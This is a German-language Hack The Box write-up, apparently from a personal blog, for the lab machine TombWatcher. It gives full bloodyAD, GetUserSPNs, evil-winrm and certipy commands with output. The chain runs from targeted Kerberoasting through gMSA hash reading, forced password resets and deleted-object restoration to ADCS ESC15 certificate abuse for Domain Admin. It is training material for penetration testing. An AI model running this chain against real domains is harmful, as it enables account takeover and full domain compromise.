← Zurück zu Machines

HTB · published

TombWatcher

Hack The Box CPTS-Track Writeup für TombWatcher: AD Enumeration, WriteSPN Kerberoasting, gMSA Abuse, ACL Chain, ADCS ESC15 und Schannel LDAP Auth zu Domain Admin.

HTBCPTSWriteupActive DirectoryKerberoastinggMSAAD CSESC15MachineWindows

Metadaten

  • Name: TombWatcher
  • IP Address: 10.129.232.167
  • Plattform: Windows
  • Kategorie: Active Directory / Kerberos / ACL Abuse / gMSA / ADCS
  • Schwierigkeit: Medium
  • Ziel(e): User, Domain Admin
  • Kurzbeschreibung des Szenarios: TombWatcher ist eine Active-Directory-Machine, bei der der Weg nicht über eine einzelne Schwachstelle läuft, sondern über eine längere Rechtekette: gültige Domain-Credentials, BloodHound-ACLs, targeted Kerberoasting, gMSA-Secret, Password Resets, gelöschte ADCS-Objekte und am Ende ESC15/Schannel-Authentifizierung als Administrator.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 5000 -vv -oN scans/tcp_full.nmap 10.129.232.167
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49695/tcp open  unknown
49696/tcp open  unknown
49698/tcp open  unknown
49717/tcp open  unknown
53327/tcp open  unknown
53350/tcp open  unknown

Der Scan zeigt sofort eine klassische Domain-Controller-Oberfläche: DNS, Kerberos, LDAP/LDAPS, SMB, Global Catalog, WinRM und ADWS.

servicescan:

nmap -sC -sV -O -p 53,80,88,135,139,389,445,593,636,3268,3269,9389 --version-all -oN scans/tcp_ad_initial_svco.nmap 10.129.232.167
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows

Wichtige Basisdaten:

  • Domain: tombwatcher.htb
  • Hostname: DC01.tombwatcher.htb
  • SMB Signing: aktiviert und erforderlich
  • Web: IIS Default Page, keine relevante Web-App
  • NTP/Clock Skew: Kerberos-relevant, daher Zeit synchronisieren

Kerberos-User-Enumeration:

kerbrute userenum --dc 10.129.232.167 -d tombwatcher.htb user_candidates.txt
[+] VALID USERNAME: alfred@tombwatcher.htb
[+] VALID USERNAME: henry@tombwatcher.htb
[+] VALID USERNAME: john@tombwatcher.htb
[+] VALID USERNAME: sam@tombwatcher.htb

AS-REP Roasting war für die geprüften Benutzer nicht erfolgreich. Anonymous LDAP und SMB lieferten ebenfalls keine brauchbare Enumeration.

Startpunkt war ein gültiger Benutzer:

henry / H3nry_987TGV!

Mit henry konnten SMB-Auth und BloodHound-Collection durchgeführt werden. Die Shares waren nicht spannend, aber die AD-Rechte waren es.

Shares:
ADMIN$
C$
IPC$
NETLOGON
SYSVOL

BloodHound zeigte den ersten brauchbaren Pfad: henry konnte bei alfred einen SPN setzen. Das ist ideal für targeted Kerberoasting.

Exploitation (Foothold)

Targeted Kerberoasting über WriteSPN

Der Account alfred hatte initial keinen brauchbaren SPN. Durch die ACL konnte mit henry temporär ein Service Principal Name gesetzt werden:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v HTTP/ghost

Danach konnte ein TGS für alfred angefordert werden:

GetUserSPNs.py tombwatcher.htb/henry:'H3nry_987TGV!' -dc-ip 10.129.232.167 -request
ServicePrincipalName  Name
--------------------  ------
HTTP/ghost            Alfred

Der Hash wurde mit rockyou.txt geknackt:

Alfred:basketball

Damit war der nächste Benutzer verfügbar:

alfred / basketball

Nach dem Roast sollte der gesetzte SPN wieder entfernt werden, damit die Änderung nicht unnötig im AD stehen bleibt.

Lateral Movement / User Escalation

Alfred zu Infrastructure

Mit alfred zeigte BloodHound den nächsten Missbrauchspfad. alfred konnte sich selbst zur Gruppe Infrastructure hinzufügen:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u alfred -p 'basketball' add groupMember Infrastructure alfred
[+] alfred added to Infrastructure

gMSA Secret auslesen

Durch die Mitgliedschaft in Infrastructure wurde der Managed Service Account ANSIBLE_DEV$ interessant. Das gMSA-Secret konnte aus msDS-ManagedPassword ausgelesen werden:

distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NT: cba56cd2df7d642f622e2a59956f6d47

Damit stand ein NT-Hash für ANSIBLE_DEV$ zur Verfügung:

ANSIBLE_DEV$ / NT:cba56cd2df7d642f622e2a59956f6d47

ForceChangePassword auf Sam

Der gMSA-Account hatte Rechte, das Passwort von sam zu ändern:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u 'ANSIBLE_DEV$' -H cba56cd2df7d642f622e2a59956f6d47 set password sam 'Str0ngP@ssw0rd123!'
[+] Password changed successfully!

Neuer Zugriff:

sam / Str0ngP@ssw0rd123!

Sam zu John

sam konnte die Kontrolle über john übernehmen. Dafür wurde zuerst der Owner geändert, danach GenericAll gesetzt und anschließend das Passwort von john zurückgesetzt.

bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u sam -p 'Str0ngP@ssw0rd123!' set owner john sam
[+] Old owner ... is now replaced by sam on john
bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u sam -p 'Str0ngP@ssw0rd123!' add genericAll john sam
[+] sam has now GenericAll on john
bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u sam -p 'Str0ngP@ssw0rd123!' set password john 'Str0ngP@ssw0rd123!'
[+] Password changed successfully!

Der Zugriff als john wurde bestätigt:

[+] SMB auth ok as tombwatcher.htb\john

Da WinRM offen war, konnte mit john eine Shell aufgebaut werden.

evil-winrm -i 10.129.232.167 -u john -p 'Str0ngP@ssw0rd123!'

User Flag:

52911[REDACTED-USER-FLAG]9772

Privilege Escalation (Root / Domain)

John und die ADCS OU

Mit john war der nächste wichtige Punkt die OU ADCS:

distinguishedName: OU=ADCS,DC=tombwatcher,DC=htb

In den gelöschten AD-Objekten lagen mehrere cert_admin-Tombstones:

CN=cert_admin\0ADEL:...,CN=Deleted Objects,DC=tombwatcher,DC=htb
sAMAccountName: cert_admin
lastKnownParent: OU=ADCS,DC=tombwatcher,DC=htb

Ein bestimmtes gelöschtes Objekt war entscheidend, weil seine SID auf -1111 endete. Genau diese SID hatte Enrollment-Rechte auf dem WebServer-Template.

S-1-5-21-1392491010-1358638721-2126982587-1111

Das Objekt wurde wiederhergestellt:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u john -p 'Str0ngP@ssw0rd123!' set restore 'CN=cert_admin\\0ADEL:...,CN=Deleted Objects,DC=tombwatcher,DC=htb' 'CN=cert_admin_1111,OU=ADCS,DC=tombwatcher,DC=htb'
[+] ... has been restored successfully under CN=cert_admin_1111,OU=ADCS,DC=tombwatcher,DC=htb

Danach wurde das Passwort gesetzt:

bloodyAD --host 10.129.232.167 -d tombwatcher.htb -u john -p 'Str0ngP@ssw0rd123!' set password cert_admin_1111 'Str0ngP@ssw0rd123!'
[+] Password changed successfully!

ADCS Enumeration

Mit cert_admin_1111 wurde ADCS geprüft. Das relevante Template war WebServer:

Template Name             : WebServer
Certificate Authorities   : tombwatcher-CA-1
Enabled                   : True
Client Authentication     : False
Enrollee Supplies Subject : True
Extended Key Usage        : Server Authentication
Enrollment Rights         : S-1-5-21-1392491010-1358638721-2126982587-1111
Write Property Enroll     : S-1-5-21-1392491010-1358638721-2126982587-1111

Das Template hatte zwar keine normale Client-Authentication-EKU, erlaubte aber ein vom Antragsteller geliefertes Subject. Über ESC15 konnte ein Zertifikat für administrator@tombwatcher.htb mit Administrator-SID angefordert werden.

certipy req -u cert_admin_1111@tombwatcher.htb -p 'Str0ngP@ssw0rd123!' -dc-ip 10.129.232.167 -target DC01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -sid S-1-5-21-1392491010-1358638721-2126982587-500
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Wrote certificate and private key to 'administrator_clientauth.pfx'

Der normale Certipy-TGT-Weg scheiterte, weil das Zertifikat nicht als Client-Authentication-Zertifikat akzeptiert wurde:

[-] Certificate is not valid for client authentication

Der wichtige Twist: Schannel gegen LDAPS funktionierte trotzdem.

certipy auth -pfx administrator_clientauth.pfx -dc-ip 10.129.232.167 -ldap-shell
[*] Connecting to 'ldaps://10.129.232.167:636'
[*] Authenticated to '10.129.232.167' as: 'u:TOMBWATCHER\Administrator'

Über die LDAP-Shell konnte john anschließend zu Domain Admins hinzugefügt werden. Danach reichte die bestehende WinRM-Shell bzw. ein neuer Login als john, um die Root-Flag zu lesen.

Root Flag:

9c2d7[REDACTED-ROOT-FLAG]6bef

Post-Exploitation

  • User Flag: 52911[REDACTED-USER-FLAG]9772
  • Root Flag: 9c2d7[REDACTED-ROOT-FLAG]6bef
  • Wichtige Accounts: henry, alfred, ANSIBLE_DEV$, sam, john, cert_admin_1111
  • Wichtige Dateien: administrator_clientauth.pfx, BloodHound-Collection, gMSA-Dump
  • Wichtige AD-Objekte: OU=ADCS, CN=cert_admin_1111, Template WebServer

Cleanup wurde durchgeführt:

[+] sam doesn't have GenericAll on john anymore
[+] Old owner ... is now replaced by Domain Admins on john
[+] cert_admin_1111 has been removed
[+] alfred removed from Infrastructure
[+] john removed from Domain Admins

Lessons Learned

  • Der wichtigste Aha-Moment war, dass die Box aus mehreren kleinen AD-Rechten besteht. Keine einzelne Stufe wirkt spektakulär, aber zusammen entsteht eine vollständige Domain-Admin-Kette.
  • WriteSPN ist sofort Kerberoast-Potential. Wenn ein Benutzer einen SPN auf ein Zielkonto schreiben darf, lohnt sich targeted Kerberoasting fast immer.
  • gMSA-Rechte sind extrem wertvoll. Zugriff auf msDS-ManagedPassword bedeutet oft direkt ein nutzbarer NT-Hash für weitere LDAP-/SMB-Aktionen.
  • Deleted Objects können in ADCS-Szenarien entscheidend sein. Hier war nicht nur der Name cert_admin wichtig, sondern die alte SID mit -1111.
  • ESC15 kann verwirrend sein, weil der klassische Certipy-TGT-Weg fehlschlagen kann. Trotzdem kann Schannel/LDAPS mit dem Zertifikat funktionieren.
  • Bei solchen Chains immer sauber dokumentieren, welche Rechte geändert wurden, damit der Cleanup nachvollziehbar bleibt.

Notizen

  • Zeit-Synchronisierung früh prüfen, weil Kerberos sonst unnötig komische Fehler produziert.
  • Nach targeted Kerberoasting gesetzte SPNs wieder entfernen.
  • BloodHound-Pfade nicht nur als finale Route lesen, sondern jede Kante einzeln testen.
  • Bei ADCS immer Template-Rechte, Enrollment-Rechte, EKUs und alte/gelöschte Objekte zusammen betrachten.
  • Schannel/LDAPS als Fallback merken, wenn Zertifikatsauth gegen Kerberos fehlschlägt.